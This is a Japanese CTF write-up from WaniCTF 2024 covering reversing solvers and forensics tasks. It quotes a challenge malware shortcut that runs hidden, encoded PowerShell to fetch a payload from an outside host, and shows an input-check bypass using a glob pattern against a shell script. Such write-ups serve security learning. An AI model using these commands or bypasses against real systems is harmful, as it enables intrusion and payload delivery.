2024 年 6 月に開催されていた Wani CTF に 0nePadding で参加し、最終順位 21 位 / 1493 チームでした。
いつも通り簡単に Writeup を書きました。
もくじ
- lambda(Rev)
- home(Rev)
- gate(Rev)
- Thread(Rev)
- tiny usb(Forensic)
- Surveillance of sus(Forensic)
- codebreaker(Forensic)
- mem search(Forensic)
- I wanna be a streamer(Forensic)
- tiny 10px(Forensic)
- sh(Misc)
- Cheat Code(Misc)
- beginners aes(Crypto)
- まとめ
lambda(Rev)
Let’s dance with lambda!
問題バイナリとして以下の Python スクリプトが与えられます。
import sys
sys.setrecursionlimit(10000000)
(lambda _0: _0(input))(lambda _1: (lambda _2: _2('Enter the flag: '))(lambda _3: (lambda _4: _4(_1(_3)))(lambda _5: (lambda _6: _6(''.join))(lambda _7: (lambda _8: _8(lambda _9: _7((chr(ord(c) + 12) for c in _9))))(lambda _10: (lambda _11: _11(''.join))(lambda _12: (lambda _13: _13((chr(ord(c) - 3) for c in _10(_5))))(lambda _14: (lambda _15: _15(_12(_14)))(lambda _16: (lambda _17: _17(''.join))(lambda _18: (lambda _19: _19(lambda _20: _18((chr(123 ^ ord(c)) for c in _20))))(lambda _21: (lambda _22: _22(''.join))(lambda _23: (lambda _24: _24((_21(c) for c in _16)))(lambda _25: (lambda _26: _26(_23(_25)))(lambda _27: (lambda _28: _28('16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r'))(lambda _29: (lambda _30: _30(''.join))(lambda _31: (lambda _32: _32((chr(int(c,36) + 10) for c in _29.split('_'))))(lambda _33: (lambda _34: _34(_31(_33)))(lambda _35: (lambda _36: _36(lambda _37: lambda _38: _37 == _38))(lambda _39: (lambda _40: _40(print))(lambda _41: (lambda _42: _42(_39))(lambda _43: (lambda _44: _44(_27))(lambda _45: (lambda _46: _46(_43(_45)))(lambda _47: (lambda _48: _48(_35))(lambda _49: (lambda _50: _50(_47(_49)))(lambda _51: (lambda _52: _52('Correct FLAG!'))(lambda _53: (lambda _54: _54('Incorrect'))(lambda _55: (lambda _56: _56(_41(_53 if _51 else _55)))(lambda _57: lambda _58: _58)))))))))))))))))))))))))))
lambda がたくさんネストされてますが、あんまり馬鹿正直に読む必要はなく、先頭から順に要素を抜き出してみるとなんとなく直感でわかります。
input
'Enter the flag: '
''.join
(chr(ord(c) + 12) for c in _9)
''.join
(chr(ord(c) - 3) for c in _10(_5))
''.join
(chr(123 ^ ord(c)) for c in _20)
''.join
(_21(c) for c in _16)
_28('16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r')
''.join
(chr(int(c,36) + 10) for c in _29.split('_'))
_38: _37 == _38
_40(print)
_52('Correct FLAG!')
_54('Incorrect')
上から順に読んでいくと、以下のような処理が行われていることがわかります。
- 入力を受け取る
- 各文字に 12 を加算する
- 各文字から 3 を減算する
- 各文字と 123 の XOR を取る
_
区切りの 36 進数文字列16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r
を int 変換する- 何らかの 2 つの値を比較する
Correct FLAG!
やIncorrect
を表示する
ここから推測できる一連の処理を逆算すると、以下の Solver を作成できます。
def decode_and_verify_flag():
encoded_string = "16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r"
decoded_step1 = ''.join(chr(int(c, 36) + 10) for c in encoded_string.split('_'))
decoded_step2 = ''.join(chr(123 ^ ord(c)) for c in decoded_step1)
decoded_step3 = ''.join(chr(ord(c) + 3) for c in decoded_step2)
decoded_step4 = ''.join(chr(ord(c) - 12) for c in decoded_step3)
print(decoded_step4)
decode_and_verify_flag()
これを実行すると、FLAG{l4_1a_14mbd4}
が正しい Flag であることを特定できます。
home(Rev)
FLAGを処理してくれる関数は難読化しちゃいました。読みたくは……ないですね!
問題バイナリのメイン関数をデコンパイルすると以下の結果を得られます。
int32_t main(int32_t argc, char** argv, char** envp)
{
void* fsbase;
int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);
void buf;
int32_t rax_5;
if (getcwd(&buf, 0x400) == 0)
{
perror("Error");
rax_5 = 1;
}
else
{
char* rax_2 = strstr(&buf, "Service");
int64_t rax_4;
if (rax_2 == 0)
{
puts(&data_20ff);
}
else
{
puts("Check passed!");
rax_4 = ptrace(PTRACE_TRACEME, 0, 0, 0);
if (rax_4 != -1)
{
constructFlag();
}
}
if ((rax_2 == 0 || (rax_2 != 0 && rax_4 != -1)))
{
rax_5 = 0;
}
if ((rax_2 != 0 && rax_4 == -1))
{
puts("Debugger detected!");
rax_5 = 1;
}
}
if (rax == *(uint64_t*)((char*)fsbase + 0x28))
{
return rax_5;
}
__stack_chk_fail();
/* no return */
}
この中では、getcwd で取得したカレントディレクトリ名が Service であることを確認した後、ptrace を自身にアタッチできた場合には constructFlag を実行するという挙動になっています。
constructFlag 関数は、どうやら Flag の作成に関わる非常に複雑な処理を行っているようです。
int64_t constructFlag()
{
int64_t r15;
int64_t var_10 = r15;
int64_t r14;
int64_t var_18 = r14;
int64_t r13;
int64_t var_20 = r13;
int64_t r12;
int64_t var_28 = r12;
int64_t rbx;
int64_t var_30 = rbx;
void var_118;
int32_t rdx;
uint64_t rdi_1;
uint32_t r9;
int32_t r10;
rdx = memcpy(&var_118, &data_2010, 0xb0);
int32_t var_11c = 0;
int32_t var_128 = 0x7c46699a;
while (true)
{
int32_t var_130_1 = (var_128 - 0xa2245c7a);
int32_t var_124;
bool r11_1;
if (var_128 == 0xa2245c7a)
{
int32_t rax_61 = 0x60b926fc;
var_124 = (var_124 + 1);
uint32_t x_5 = x;
r9 = ((x_5 * (x_5 - 1)) & 1) == 0;
r10 = y < 0xa;
r11_1 = (r9 & r10);
r9 = (r9 ^ r10);
if (((r11_1 | r9) & 1) != 0)
{
rax_61 = -0x51fc1498;
}
var_128 = rax_61;
}
else
{
int32_t var_134_1 = (var_128 - 0xae03eb68);
if (var_128 == 0xae03eb68)
{
var_128 = 0x19056f3d;
}
else
{
int32_t var_138_1 = (var_128 - 0xbb1ffe21);
char var_31;
if (var_128 == 0xbb1ffe21)
{
int32_t rax_52 = 0x54525dca;
rdx = var_31;
if ((rdx & 1) != 0)
{
rax_52 = -0x1c311557;
}
var_128 = rax_52;
}
else
{
int32_t var_13c_1 = (var_128 - 0xcb295bc0);
if (var_128 == 0xcb295bc0)
{
int32_t rax_58 = 0x58d9f831;
rdx = 1;
uint32_t x_3 = x;
r9 = ((x_3 * (x_3 - 1)) & 1) == 0;
r10 = y < 0xa;
r11_1 = (r9 ^ 0xff);
rbx = r10;
rbx = (rbx ^ 0xff);
rdx = 0;
r14 = r11_1;
r14 = (r14 & 0xff);
r9 = 0;
r15 = rbx;
r15 = (r15 & 0xff);
r10 = 0;
r14 = (r14 | 0);
r15 = (r15 | 0);
r14 = (r14 ^ r15);
rdx = 1;
r14 = (r14 | (((r11_1 | rbx) ^ 0xff) & 1));
if ((r14 & 1) != 0)
{
rax_58 = -0x1d900a39;
}
var_128 = rax_58;
}
else
{
int32_t var_140_1 = (var_128 - 0xd2cc8233);
int32_t var_120;
if (var_128 == 0xd2cc8233)
{
var_120 = (var_120 + 1);
var_128 = 0x694bd910;
}
else
{
int32_t var_144_1 = (var_128 - 0xdb9d01fc);
if (var_128 == 0xdb9d01fc)
{
var_128 = 0xdd0621c0;
}
else
{
int32_t var_148_1 = (var_128 - 0xdd0621c0);
if (var_128 == 0xdd0621c0)
{
int32_t rax_60 = 0x60b926fc;
rdx = 1;
uint32_t x_4 = x;
r9 = ((x_4 * (x_4 - 1)) & 1) == 0;
r10 = y < 0xa;
r11_1 = (r9 ^ 0xff);
rbx = r10;
rbx = (rbx ^ 0xff);
rdx = 0;
r14 = r11_1;
r14 = (r14 & 0xff);
r9 = 0;
r15 = rbx;
r15 = (r15 & 0xff);
r10 = 0;
r14 = (r14 | 0);
r15 = (r15 | 0);
r14 = (r14 ^ r15);
rdx = 1;
r14 = (r14 | (((r11_1 | rbx) ^ 0xff) & 1));
if ((r14 & 1) != 0)
{
rax_60 = -0x5ddba386;
}
var_128 = rax_60;
}
else
{
int32_t var_14c_1 = (var_128 - 0xde3c30d3);
if (var_128 == 0xde3c30d3)
{
int32_t rax_51 = 0x34e86ff4;
rdx = var_120 < 0x2c;
rdx = (rdx & 1);
var_31 = rdx;
uint32_t x_2 = x;
rdx = ((x_2 * (x_2 - 1)) & 1) == 0;
r9 = y < 0xa;
r10 = rdx;
r10 = (r10 & r9);
rdx = (rdx ^ r9);
r10 = (r10 | rdx);
if ((r10 & 1) != 0)
{
rax_51 = -0x44e001df;
}
var_128 = rax_51;
}
else
{
int32_t var_150_1 = (var_128 - 0xe26ff5c7);
void var_68;
if (var_128 == 0xe26ff5c7)
{
int32_t rax_59 = 0x58d9f831;
rdx = 1;
*(uint8_t*)(&var_68 + ((int64_t)var_124)) = (((int8_t)*(uint32_t*)(&var_118 + (((int64_t)var_124) << 2))) + (0 - var_124));
uint32_t x_6 = x;
r11_1 = ((x_6 * (x_6 - 1)) & 1) == 0;
rbx = y < 0xa;
r14 = r11_1;
r14 = (r14 ^ 0xff);
r15 = rbx;
r15 = (r15 ^ 0xff);
rdx = 1;
r12 = r14;
r12 = 0;
r13 = r15;
r13 = 0;
rbx = (rbx & 1);
r12 = (0 | (r11_1 & 1));
r13 = (0 | rbx);
r12 = (r12 ^ r13);
r14 = (r14 | r15);
r14 = (r14 ^ 0xff);
rdx = 1;
r14 = (r14 & 1);
r12 = (r12 | r14);
if ((r12 & 1) != 0)
{
rax_59 = -0x2462fe04;
}
var_128 = rax_59;
}
else
{
int32_t var_154_1 = (var_128 - 0xe3ceeaa9);
if (var_128 == 0xe3ceeaa9)
{
int32_t rdx_3 = *(uint32_t*)(&var_118 + (((int64_t)var_120) << 2));
*(uint32_t*)(&var_118 + (((int64_t)var_120) << 2)) = (((rdx_3 ^ 0xffffffff) & 0x19f) | (rdx_3 & 0xfffffe60));
var_128 = 0xd2cc8233;
}
else
{
int32_t var_158_1 = (var_128 - 0x19341ee);
if (var_128 == 0x19341ee)
{
break;
}
int32_t var_15c_1 = (var_128 - 0x19056f3d);
if (var_128 == 0x19056f3d)
{
int32_t rax_57 = 0x19341ee;
if (var_124 < 0x2c)
{
rax_57 = -0x34d6a440;
}
var_128 = rax_57;
}
else
{
int32_t var_160_1 = (var_128 - 0x25d256eb);
if (var_128 == 0x25d256eb)
{
int32_t var_184_1 = 2;
int32_t temp15_1;
int32_t temp16_1;
temp15_1 = HIGHD(((int64_t)*(uint32_t*)(&var_118 + (((int64_t)var_11c) << 2))));
temp16_1 = LOWD(((int64_t)*(uint32_t*)(&var_118 + (((int64_t)var_11c) << 2))));
*(uint32_t*)(&var_118 + (((int64_t)var_11c) << 2)) = (COMBINE(temp15_1, temp16_1) / 2);
var_128 = 0x299ff63b;
}
else
{
int32_t var_164_1 = (var_128 - 0x299ff63b);
if (var_128 == 0x299ff63b)
{
var_11c = (var_11c + 1);
var_128 = 0x7c46699a;
}
else
{
int32_t var_168_1 = (var_128 - 0x33ee2572);
if (var_128 == 0x33ee2572)
{
var_120 = 0;
var_128 = 0x694bd910;
}
else
{
int32_t var_16c_1 = (var_128 - 0x34e86ff4);
if (var_128 == 0x34e86ff4)
{
var_128 = 0xde3c30d3;
}
else
{
int32_t var_170_1 = (var_128 - 0x54525dca);
if (var_128 == 0x54525dca)
{
var_124 = 0;
var_128 = 0x19056f3d;
}
else
{
int32_t var_174_1 = (var_128 - 0x58d9f831);
if (var_128 == 0x58d9f831)
{
rdi_1 = (*(uint32_t*)(&var_118 + (((int64_t)var_124) << 2)) + (0 - var_124));
*(uint8_t*)(&var_68 + ((int64_t)var_124)) = rdi_1;
var_128 = 0xe26ff5c7;
}
else
{
int32_t var_178_1 = (var_128 - 0x60b926fc);
if (var_128 == 0x60b926fc)
{
var_124 = (var_124 + 1);
var_128 = 0xa2245c7a;
}
else
{
int32_t var_17c_1 = (var_128 - 0x694bd910);
if (var_128 == 0x694bd910)
{
int32_t rax_50 = 0x34e86ff4;
uint32_t x_1 = x;
r9 = ((x_1 * (x_1 - 1)) & 1) == 0;
r10 = y < 0xa;
r11_1 = (r9 & r10);
r9 = (r9 ^ r10);
if (((r11_1 | r9) & 1) != 0)
{
rax_50 = -0x21c3cf2d;
}
var_128 = rax_50;
}
else
{
int32_t var_180_1 = (var_128 - 0x7c46699a);
if (var_128 == 0x7c46699a)
{
int32_t rax_42 = 0x33ee2572;
if (var_11c < 0x2c)
{
rax_42 = 0x25d256eb;
}
var_128 = rax_42;
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
int32_t rax_21;
rax_21 = 0;
int32_t var_188 = printf("Processing completed!");
return 0;
}
詳しい実装を読まなくても、この関数をデバッグすれば生成された Flag を確認できそうなことを予想できます。
使用しているアンチデバッグの手法は ptrace のアタッチのみのため、この部分にパッチを当てた後、Service ディレクトリにコピーしたプログラムを gdb で起動し、デバッグを行いました。
b *0x5555555558e5
上記のブレークポイントを設定してプログラムを実行した後、メモリ内の Flag 文字列を検索すると以下の通り生成された Flag を簡単に取得できるようになります。
gate(Rev)
ゲートにフラグを入れると、何かが出てきた。フラグはなんでしょう?
問題バイナリをデコンパイルすると、32 文字(0x200//0x10
)の入力を受け取り、バッファ内の 0x10 バイトごとにに 1 <入力文字>
の形式で保存されることがわかります。
この後、このバッファは以下の関数内で評価、計算されます。
ここでは、バッファ内に埋め込まれた整数値に応じて入力文字に対して異なる演算を行っているようです。
void* sub_1220()
{
void* i = &data_4040;
do
{
int32_t rdx_4 = *(uint32_t*)i;
if (rdx_4 == 3)
{
void* rdx_11 = ((((int64_t)*(uint32_t*)((char*)i + 4)) << 4) + &data_4040);
if (*(uint8_t*)((char*)rdx_11 + 0xc) != 0)
{
void* rdi_7 = ((((int64_t)*(uint32_t*)((char*)i + 8)) << 4) + &data_4040);
if (*(uint8_t*)((char*)rdi_7 + 0xc) != 0)
{
char rdx_12 = (*(uint8_t*)((char*)rdx_11 + 0xd) ^ *(uint8_t*)((char*)rdi_7 + 0xd));
*(uint8_t*)((char*)i + 0xc) = 1;
*(uint8_t*)((char*)i + 0xd) = rdx_12;
}
}
}
else
{
if ((rdx_4 == 1 || rdx_4 == 2))
{
void* rdx_3 = ((((int64_t)*(uint32_t*)((char*)i + 4)) << 4) + &data_4040);
if (*(uint8_t*)((char*)rdx_3 + 0xc) != 0)
{
void* rdi_3 = ((((int64_t)*(uint32_t*)((char*)i + 8)) << 4) + &data_4040);
if (*(uint8_t*)((char*)rdi_3 + 0xc) != 0)
{
char rdi_4 = (*(uint8_t*)((char*)rdi_3 + 0xd) + *(uint8_t*)((char*)rdx_3 + 0xd));
*(uint8_t*)((char*)i + 0xc) = 1;
*(uint8_t*)((char*)i + 0xd) = rdi_4;
}
}
}
if (rdx_4 == 4)
{
void* rdx_7 = ((((int64_t)*(uint32_t*)((char*)i + 4)) << 4) + &data_4040);
if (*(uint8_t*)((char*)rdx_7 + 0xc) != 0)
{
char rdx_8 = *(uint8_t*)((char*)rdx_7 + 0xd);
i = ((char*)i + 0x10);
*(uint8_t*)((char*)i - 4) = 1;
*(uint8_t*)((char*)i - 3) = rdx_8;
if (i == &stdin)
{
break;
}
continue;
}
}
}
i = ((char*)i + 0x10);
} while (i != &stdin);
return i;
}
最終的に、バッファ内のデータがハードコードされたバイト列と一致する場合、入力値が正しい Flag であったと判定されます。
ここまで読むと、脳死 angr で解けるタイプの問題であることがわかるので、以下の Solver を作成しました。
import angr
import claripy
proj = angr.Project("gates", auto_load_libs=False)
obj = proj.loader.main_object
print("Entry", hex(obj.entry))
find = 0x401124
avoids = [0x40110c]
flag = claripy.BVS('flag', 32*8, explicit_name=True)
init_state = proj.factory.entry_state()
for i in range(19):
init_state.solver.add(flag.get_byte(i) >= 0x21)
init_state.solver.add(flag.get_byte(i) <= 0x7f)
init_state = proj.factory.entry_state(stdin=flag)
simgr = proj.factory.simgr(init_state)
simgr.explore(find=find, avoid=avoids)
# 出力
simgr.found[0].posix.dumps(0)
# FLAG{INTr0dUction_70_R3v3R$1NG1}
このスクリプトを実行すると、少し時間はかかりますが正しい Flag を特定できます。(もしかしたら想定解ではないかも、、、)
珍しくスムーズに Flag を取得でき、3 番目に正解できてうれしかったので記念にスクショしておきました。
Thread(Rev)
ワ…ワァ…!?
問題バイナリの main 関数をデコンパイルすると以下の結果を得ることができます。
int32_t main(int32_t argc, char** argv, char** envp)
{
void* fsbase;
int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);
printf("FLAG: ");
void var_48;
int32_t rax_4;
if (__isoc99_scanf("%45s", &var_48) != 1)
{
puts("Failed to scan.");
rax_4 = 1;
}
else if (strlen(&var_48) != 0x2d)
{
puts("Incorrect.");
rax_4 = 1;
}
else
{
for (int32_t i = 0; i <= 0x2c; i = (i + 1))
{
*(uint32_t*)((((int64_t)i) << 2) + &data_4140) = ((int32_t)*(uint8_t*)(&var_48 + ((int64_t)i)));
}
pthread_mutex_init(&data_4100, nullptr);
void var_1b8;
for (int32_t i_1 = 0; i_1 <= 0x2c; i_1 = (i_1 + 1))
{
void var_278;
*(uint32_t*)(&var_278 + (((int64_t)i_1) << 2)) = i_1;
pthread_create(((((int64_t)i_1) << 3) + &var_1b8), 0, sub_1289, (&var_278 + (((int64_t)i_1) << 2)));
}
for (int32_t i_2 = 0; i_2 <= 0x2c; i_2 = (i_2 + 1))
{
pthread_join(*(uint64_t*)(&var_1b8 + (((int64_t)i_2) << 3)), 0);
}
pthread_mutex_destroy(&data_4100);
int32_t var_27c_1 = 0;
while (true)
{
if (var_27c_1 > 0x2c)
{
puts("Correct!");
rax_4 = 0;
break;
}
if (*(uint32_t*)((((int64_t)var_27c_1) << 2) + &data_4140) != *(uint32_t*)((((int64_t)var_27c_1) << 2) + &data_4020))
{
puts("Incorrect.");
rax_4 = 1;
break;
}
var_27c_1 = (var_27c_1 + 1);
}
}
*(uint64_t*)((char*)fsbase + 0x28);
if (rax == *(uint64_t*)((char*)fsbase + 0x28))
{
return rax_4;
}
__stack_chk_fail();
/* no return */
}
この関数内では、入力文字として 0x2d 文字の文字列を受け取り、各文字に対して sub_1289 で定義されているコールバック関数を実行するスレッドを作成、実行しています。
このコールバック関数内では以下のような操作を入力文字を格納したバッファに対して行っています。
int64_t sub_1289(int32_t* arg1)
{
int32_t rax_1 = *(uint32_t*)arg1;
int32_t i = 0;
while (i <= 2)
{
pthread_mutex_lock(&data_4100);
int32_t rax_6 = ((rax_1 + *(uint32_t*)((((int64_t)rax_1) << 2) + &data_4200)) % 3);
if (rax_6 == 0)
{
*(uint32_t*)((((int64_t)rax_1) << 2) + &data_4140) = (*(uint32_t*)((((int64_t)rax_1) << 2) + &data_4140) * 3);
}
if (rax_6 == 1)
{
*(uint32_t*)((((int64_t)rax_1) << 2) + &data_4140) = (*(uint32_t*)((((int64_t)rax_1) << 2) + &data_4140) + 5);
}
if (rax_6 == 2)
{
*(uint32_t*)((((int64_t)rax_1) << 2) + &data_4140) = (*(uint32_t*)((((int64_t)rax_1) << 2) + &data_4140) ^ 0x7f);
}
*(uint32_t*)((((int64_t)rax_1) << 2) + &data_4200) = (*(uint32_t*)((((int64_t)rax_1) << 2) + &data_4200) + 1);
i = *(uint32_t*)((((int64_t)rax_1) << 2) + &data_4200);
pthread_mutex_unlock(&data_4100);
}
return 0;
}
ここでは、別途定義されているテーブル data_4200 内の各インデックスの値と 3 の mod をとった結果に応じて、文字に対する計算が変わるようになっています。
この計算自体は非常にシンプルで、入力文字のインデックスと 3 の mod をとった結果によって 3 パターンの演算を行うものになっています。
そこで、data_4020 にハードコードされていたバイト列を逆算するための以下のスクリプトを作成することで正しい Flag を取得できました。
base = [
0x00a8, 0x008a, 0x00bf, 0x00a5,
0x02fd, 0x0059, 0x00de, 0x0024,
0x0065, 0x010f, 0x00de, 0x0023,
0x015d, 0x0042, 0x002c, 0x00de,
0x0009, 0x0065, 0x00de, 0x0051,
0x00ef, 0x013f, 0x0024, 0x0053,
0x015d, 0x0048, 0x0053, 0x00de,
0x0009, 0x0053, 0x014b, 0x0024,
0x0065, 0x00de, 0x0036, 0x0053,
0x015d, 0x0012, 0x004a, 0x0124,
0x003f, 0x005f, 0x014e, 0x00d5,
0x000b
]
flag = ""
for k in range(0x2d):
if k % 3 == 0:
flag += chr((((base[k] ^ 0x7f) - 5) // 3))
if k % 3 == 1:
flag += chr(((base[k] // 3) ^0x7f) - 5)
if k % 3 == 2:
flag += chr((((base[k] -5) // 3) ^ 0x7f))
print(flag)
# FLAG{c4n_y0u_dr4w_4_1ine_be4ween_4he_thread3}
Thread というタイトルでマルチスレッドを実装している問題でしたが、mutex を実装していることもありあまり Thread 要素を感じることはありませんでした。
tiny usb(Forensic)
USBが狭い
問題バイナリとして与えられた ISO 開いたら以下の Flag が出てきました。
以上。
Surveillance of sus(Forensic)
悪意ある人物が操作しているのか、あるPCが不審な動きをしています。
そのPCから何かのキャッシュファイルを取り出すことに成功したらしいので、調べてみてください!
問題バイナリは RDP 画面のビットマップキャッシュファイルでした。
bmc-tools を使って画像をマージしてみると FLAG{RDP_is_useful_yipeee}
という Flag を特定できました。
python3 bmc-tools.py -s Cache_chal.bin -d images -b
参考:ANSSI-FR/bmc-tools: RDP Bitmap Cache parser
codebreaker(Forensic)
I, the codebreaker, have broken the QR code!
破壊された QR コードが与えられます。
確か角のマークのうち一部でも読めればリンクを読めるようになった記憶があるものの、× マークはちょうどすべてのブロックを消してしまっていてこのままでは読み取ることができませんでした。
しかし、試しに青空白猫で画像のシフトを試してみたところ、以下のように読み取りが可能な状態に復元することができました。
この QR コードを読むと FLAG{How_scan-dalous}
という Flag を取得できます。
別解として、QR コードを再構築する方法があるようです。
こちらの方法はかなりハードそうですが、もしかしたらこっちが想定解なのかも、、、
参考:public-writeup/mma2015/misc400-qr/writeup.md at master · pwning/public-writeup
mem search(Forensic)
知らないファイルがあったので開いてみると変な動作をしたので、メモリダンプを取りました!
攻撃はどうやって行われたのでしょう?
メモリダンプは大きいので以下のURLで配布します (解凍すると2GBになります)
WaniCTF開催後は非公開になる可能性があります。
https://drive.google.com/file/d/1sxnYz-bp-E9Bj9usN8lRoL4OE8AxrCRu/view?usp=sharing
※ 注意: ファイル内にFLAGが2つあります。FLAG{Hで始まるFLAGは今回の答えではありません。FLAG{Dで始まるFLAGを提出してください。
Windows のフルメモリダンプでしたので、とりあえず vol3 で情報を確認します。
vol3 -f chal_mem_search.DUMP windows.info.Info
稼働中のプロセスの列挙はあまり有効ではありませんでした。
vol3 -f chal_mem_search.DUMP windows.psscan.PsScan
続いてファイルスキャンを試してみると、ユーザフォルダ内に read_this_as_admin
を含む怪しげなファイルがあることがわかりました。
vol3 -f chal_mem_search.DUMP windows.filescan.FileScan
以下のコマンドでこのファイルを抽出します。
0xcd88cebc26c0 \Users\Mikka\Desktop\read_this_as_admin.lnknload
0xcd88cebae1c0 \Users\Mikka\Downloads\read_this_as_admin.download
0xcd88ceb9f2b0 \Users\Mikka\Desktop\echo.txt
vol3 -o /tmp -f chal_mem_search.DUMP windows.dumpfiles.DumpFiles --virtaddr 0xcd88cebc26c0
vol3 -o /tmp -f chal_mem_search.DUMP windows.dumpfiles.DumpFiles --virtaddr 0xcd88cebae1c0
vol3 -o /tmp -f chal_mem_search.DUMP windows.dumpfiles.DumpFiles --virtaddr 0xcd88ceb9f2b0
この中の read_this_as_admin.lnknload
を取り出してみると、以下のように PowerShell でエンコードされたコードを実行させていることがわかります。
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -window hidden -noni -enc JAB1AD0AJwBoAHQAJwArACcAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAwAC4AMQA2ADoAOAAyADgAMgAvAEIANgA0AF8AZABlAGMAJwArACcAbwBkAGUAXwBSAGsAeABCAFIAMwB0AEUAWQBYAGwAMQBiAFYAOQAwAGEARwBsAHo
このデータをデコードして見ると、以下のような URL の部分文字列になっており、Flag の前半部分を取得できました。
http://192.168.0.16:8282/B64_decode_RkxBR3tEYXl1bV90aGl
ここからどのように完全な Flag を特定すればいいか悩んでいたのですが、チームメンバーが Edge の History ファイルから完全な URL を取得できることに気づきました。
0xcd88cd53e460 \Users\Mikka\AppData\Local\Microsoft\Edge\User Data\Default\History 216
vol3 -o /tmp -f chal_mem_search.DUMP windows.dumpfiles.DumpFiles --virtaddr 0xcd88cd53e460
そこで、これをデコードすることで完全な Flag を特定できました。
なお、なぜかもう一度同じコマンドで read_this_as_admin.lnknload
を抽出したところ、Flag を含む完全な lnk ファイルを取得することができました。
vol3 のファイル取得はもしかしたら若干不安定なのかもしれないので、ファイルの破損には注意したいと思います。
I wanna be a streamer(Forensic)
母ちゃんごめん、俺配信者として生きていくよ。 たまには配信に遊び来てな。 (動画のエンコーディングにはH.264が使われています。)
動画のエンコーディングは H.264 とのことですので、とりあえず RTP の解析設定をいくつか変更しておきます。
参考:WiresharkでRTPを解析する方法 - fumiLab
すると、以下のような解析結果を得ることができました。
ここから動画を抽出するため、以下の h264extractor プラグインを使用しました。
参考:volvet/h264extractor: wireshark plugin to extract h264 or opus stream from rtp packets
参考:WiresharkでLuaスプリクトを使うための初期設定 #Wireshark - Qiita
現行バージョンの WireShark では、プラグインの lua ファイルは単に plugins フォルダに配置するだけで使用できるようです。
このプラグインを使用して抽出した H264 ファイルを mp4 に変換し、動画を再生することで Flag を取得できました。
tiny 10px(Forensic)
世界は狭い What a small world!
問題バイナリとして与えられたのは 10px 四方の jpg ですが、典型的な SOF0 をいじる問題のようでした。
以下のスクリプトで適当にサイズを調整します。
def modify_sof0_segment(jpeg_path, new_width, new_height, n):
with open(jpeg_path, "rb") as file:
jpeg_data = bytearray(file.read())
# SOF0セグメントの位置を検索
sof0_marker = b'\xff\xc0'
sof0_start = jpeg_data.find(sof0_marker)
# SOF0セグメントのパラメータの位置を検索して表示
parameter_start = sof0_start + 5
print("Original SOF0 width : {}".format(int.from_bytes(jpeg_data[parameter_start:parameter_start + 2],"big")))
print("Original SOF0 height : {}".format(int.from_bytes(jpeg_data[parameter_start + 2:parameter_start + 4],"big")))
# 新しい幅と高さをバイト列に変換
new_width_bytes = new_width.to_bytes(2, byteorder='big')
new_height_bytes = new_height.to_bytes(2, byteorder='big')
# 幅と高さを置き換える
jpeg_data[parameter_start:parameter_start + 2] = new_width_bytes
jpeg_data[parameter_start + 2:parameter_start + 4] = new_height_bytes
print("New SOF0 width : {}".format(int.from_bytes(jpeg_data[parameter_start:parameter_start + 2],"big")))
print("New SOF0 height : {}".format(int.from_bytes(jpeg_data[parameter_start + 2:parameter_start + 4],"big")))
# 変更後のJPEGファイルを保存
# modified_jpeg_path = "modified.jpg"
modified_jpeg_path = f"./out/modified_{n}.jpg"
with open(modified_jpeg_path, "wb") as file:
file.write(jpeg_data)
print("==> Saved new JPEG")
# 使用例
for i in range(10,10000,5):
jpeg_path = "chal_tiny_10px.jpg"
new_width = 20
new_height = i
modify_sof0_segment(jpeg_path, new_width, new_height, i)
しかし、高さと幅がちょうどいい感じの位置になる画像は見つかりませんでした。
そこで、生成した画像内の Flag 文字列っぽいところを切り抜いてつなげることにしました。
私はここから上手く Flag を推測できなかったのですが、チームメンバーがさくっと特定してくれました。
参考:Hiding Information by Manipulating an Image’s Height
あとで気づいたのですが、どうももともとの正方形の比率を維持するのが重要だったらしく、前記のスクリプト少しいじって正方形の画像を総当たりで生成するようにしたところ、155 px 四方になった際に Flag を綺麗に読めるようになりました。
sh(Misc)
Guess?
問題バイナリとして以下のスクリプトが与えられます。
#!/usr/bin/env sh
set -euo pipefail
printf "Can you guess the number? > "
read i
if printf $i | grep -e [^0-9]; then
printf "bye hacker!"
exit 1
fi
r=$(head -c512 /dev/urandom | tr -dc 0-9)
if [[ $r == $i ]]; then
printf "How did you know?!"
cat flag.txt
else
printf "Nope. It was $r."
fi
このスクリプトでは、入力として受け取った数字文字列がランダムに生成した数字文字列と一致するかを評価しています。
はじめは printf $i
でコマンドインジェクションやフォーマット文字列攻撃ができないかと思い色々と試していましたが上手くいきませんでした。
しかし、チームメンバーのアイデアで if [[ $r == $i ]];
の評価に正規表現を使えることがわかりました。
これによって、例えば以下のようなコマンドを発行すると、if [[ $r == [0-9]* ]];
の結果が必ず True を返します。
r=$(head -c512 /dev/urandom | tr -dc 0-9)
if [[ $r == [0-9]* ]]; then printf "How did you know?!"; cat flag.txt; else printf "Nope. It was $r."; fi
そのため、$i には任意の数字列とマッチするような正規表現を送り込めばよいことがわかります。
しかし、[0-9]*
を直接問題サーバに送ろうとすると、入力値の検証によってはじかれてしまいます。
そこで、以下のチェックをバイパスする方法を考えます。
if 文では、最後の評価結果である grep -e [^0-9]
の終了ステートメントが 0 であるかで評価されるようです。
if printf $i | grep -e [^0-9]; then
printf "bye hacker!"
exit 1
fi
そのため、この条件式にエラーを引き起こすような入力値を送り込めば検証をバイパスできます。
今回の場合、%
や %x
などを含む文字列を入力するとエラーを起こして検証をバイパスすることができました。
つまり、[%|0-9]*
のようなテキストを送り込むと、チェックをバイパスした上で [[ $r == [%|0-9]* ]];
の形を作ることができ、Flag を取得できます。
また、別解として set -euo pipefail
を回避することで検証を突破する方法があるようです。
このオプションは以下のように利用されます。
# スクリプト内で呼び出されるプロセスの戻り値が 0 以外の場合はすべて失敗とみなし、スクリプトをその時点で終了する
set -e
# ただし、| で繋がれた場合、$? で参照できるエラーコードは最後のコマンドの実行結果による
# つまり、<エラーを返すコマンド> | <成功するコマンド> のような処理を行う場合、set -e ではスクリプトは停止しない
# ここで、-o pipefail を付与すると、パイプ内のエラーも -e の判定条件に含めることができる
# 以下を使用すると、パイプ区切りのコマンドはすべて実行できるが、その中にエラーを返すものがある場合スクリプトは停止する
set -eo pipefail
